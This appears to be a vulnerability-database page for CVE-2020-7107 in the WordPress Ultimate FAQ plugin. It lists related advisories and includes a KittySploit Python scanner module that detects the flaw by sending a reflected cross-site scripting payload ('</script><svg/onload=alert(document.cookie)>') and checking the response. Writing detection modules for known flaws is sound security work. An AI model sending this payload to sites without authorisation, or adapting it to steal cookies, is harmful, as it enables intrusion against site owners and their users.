WordPress Ultimate FAQ <1.8.30 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2020-7107 | 16 Jan 202005:15 | – | attackerkb | |
| WordPress Ultimate FAQ Cross-Site Scripting Vulnerability | 19 Jan 202000:00 | – | cnvd | |
| CVE-2020-7107 | 16 Jan 202004:01 | – | cve | |
| CVE-2020-7107 | 16 Jan 202004:01 | – | cvelist | |
| EUVD-2020-28241 | 7 Oct 202500:30 | – | euvd | |
| CVE-2020-7107 | 16 Jan 202004:01 | – | mend | |
| WordPress Ultimate FAQ <1.8.30 - Cross-Site Scripting | 24 Oct 202602:05 | – | nuclei | |
| CVE-2020-7107 | 16 Jan 202005:15 | – | nvd | |
| CVE-2020-7107 | 16 Jan 202005:15 | – | osv_cve | |
| Design/Logic Flaw | 16 Jan 202005:15 | – | prion |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress Ultimate FAQ plugin before 1."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress Ultimate FAQ <1.8.30 - Cross-Site Scripting Detection',
'description': 'WordPress Ultimate FAQ plugin before 1.8.30 is susceptible to cross-site scripting via Display_FAQ to Shortcodes/DisplayFAQs.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2020', 'ultimate-faqs', 'wpscan', 'xss', 'wordpress', 'wp-plugin', 'wp', 'etoilewebdesign', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://wpscan.com/vulnerability/5e1cefd5-5369-44bd-aef7-2a382c8d8e33',
'https://wordpress.org/plugins/ultimate-faqs/',
'https://plugins.trac.wordpress.org/changeset/2222959/ultimate-faqs/tags/1.8.30/Shortcodes/DisplayFAQs.php',
'https://nvd.nist.gov/vuln/detail/CVE-2020-7107',
'https://wordpress.org/plugins/ultimate-faqs/#developers',
],
'cve': 'CVE-2020-7107',
}
def run(self):
path = '/wp-content/plugins/ultimate-faqs/readme.txt'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_all = ('Ultimate FAQ', 'Tags:',)
if not (all(m in body for m in body_all)):
return False
path = '/?Display_FAQ=%3C/script%3E%3Csvg/onload=alert(document.cookie)%3E'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_all = ("'</script><svg/onload=alert(document.cookie)>", 'var Display_FAQ_ID =',)
header_any = ('text/html',)
if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
self.set_info(severity='medium', reason='WordPress Ultimate FAQ <1.8.30 - Cross-Site Scripting detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
6Medium risk
Vulners AI Score6
CVSS 24.3
CVSS 3.16.1
EPSS0.02195